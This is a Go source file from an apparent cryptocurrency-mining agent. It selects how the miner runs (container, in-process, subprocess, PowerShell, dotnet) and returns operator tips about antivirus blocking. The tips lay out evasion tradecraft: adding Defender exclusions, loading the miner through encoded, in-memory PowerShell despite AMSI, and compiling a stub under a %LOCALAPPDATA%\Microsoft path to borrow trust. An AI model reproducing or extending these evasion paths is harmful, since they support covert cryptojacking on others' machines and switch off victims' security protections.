96 lines
3.4 KiB
Go
96 lines
3.4 KiB
Go
package miner
|
|
|
|
import (
|
|
"strings"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
// CPU/GPU workload execution — distinct from schedule MiningMode (always/idle/scheduled).
|
|
const (
|
|
ExecutionAuto = "auto"
|
|
ExecutionContainer = "container"
|
|
ExecutionInProcess = "inprocess"
|
|
ExecutionSubprocess = "subprocess"
|
|
ExecutionPowerShell = "powershell"
|
|
ExecutionDotnet = "dotnet"
|
|
)
|
|
|
|
// ContainerRuntimeInfo describes a detected OCI CLI (docker or podman).
|
|
type ContainerRuntimeInfo struct {
|
|
Available bool
|
|
CLI string // "docker" or "podman"
|
|
Version string
|
|
}
|
|
|
|
// RuntimeDetector checks for a container CLI. Tests inject a mock via SetRuntimeDetector.
|
|
var RuntimeDetector = DetectContainerRuntime
|
|
|
|
// SetRuntimeDetector restores the default detector when fn is nil.
|
|
func SetRuntimeDetector(fn func() ContainerRuntimeInfo) {
|
|
if fn == nil {
|
|
RuntimeDetector = DetectContainerRuntime
|
|
return
|
|
}
|
|
RuntimeDetector = fn
|
|
}
|
|
|
|
// ResolveExecutionMode picks the effective miner execution path.
|
|
// auto → container when a runtime is available, otherwise inprocess.
|
|
func ResolveExecutionMode(cfg config.RuntimeConfig) (mode string, runtime ContainerRuntimeInfo) {
|
|
runtime = RuntimeDetector()
|
|
raw := strings.ToLower(strings.TrimSpace(cfg.MinerExecution))
|
|
switch raw {
|
|
case "", ExecutionAuto:
|
|
if runtime.Available {
|
|
return ExecutionContainer, runtime
|
|
}
|
|
return ExecutionInProcess, runtime
|
|
case ExecutionContainer:
|
|
return ExecutionContainer, runtime
|
|
case ExecutionInProcess:
|
|
return ExecutionInProcess, runtime
|
|
case ExecutionSubprocess:
|
|
return ExecutionSubprocess, runtime
|
|
case ExecutionPowerShell:
|
|
return ExecutionPowerShell, runtime
|
|
case ExecutionDotnet:
|
|
return ExecutionDotnet, runtime
|
|
default:
|
|
if runtime.Available {
|
|
return ExecutionContainer, runtime
|
|
}
|
|
return ExecutionInProcess, runtime
|
|
}
|
|
}
|
|
|
|
// ContainerModeRequested reports whether forge/config asked for container isolation.
|
|
func ContainerModeRequested(cfg config.RuntimeConfig) bool {
|
|
raw := strings.ToLower(strings.TrimSpace(cfg.MinerExecution))
|
|
return raw == ExecutionContainer || raw == ExecutionAuto || raw == ""
|
|
}
|
|
|
|
// AVBlockRecommendation returns operator guidance when mining may be AV-blocked.
|
|
func AVBlockRecommendation(mode string, runtime ContainerRuntimeInfo) string {
|
|
switch mode {
|
|
case ExecutionInProcess:
|
|
return "In-process RandomX avoids external CPU miner exes — add Defender path/process exclusions via Calibrate if hashrate stays 0"
|
|
case ExecutionContainer:
|
|
if runtime.Available {
|
|
return "Container mode isolates CPU mining but AV still scans docker.exe and image layers"
|
|
}
|
|
return "Container mode requested but no Docker/Podman runtime — agent falls back to in-process RandomX"
|
|
case ExecutionSubprocess:
|
|
return "Subprocess mode spawns GPU miners (T-Rex/TRM) — high AV friction; use inprocess for CPU-only fleets"
|
|
case ExecutionPowerShell:
|
|
return "PowerShell tier loads mining via powershell.exe + in-memory assembly or encoded command — AMSI may still flag; falls back to in-process"
|
|
case ExecutionDotnet:
|
|
return "Dotnet tier compiles a minimal Stratum stub via trusted dotnet/msbuild under %LOCALAPPDATA%\\Microsoft — falls back to in-process"
|
|
default:
|
|
if runtime.Available {
|
|
return "Auto mode may launch Docker — prefer miner_execution=inprocess for lowest AV friction on CPU-only rigs"
|
|
}
|
|
return "Antivirus may block mining — use miner_execution=inprocess (no external CPU exe) and Defender exclusions for install path"
|
|
}
|
|
}
|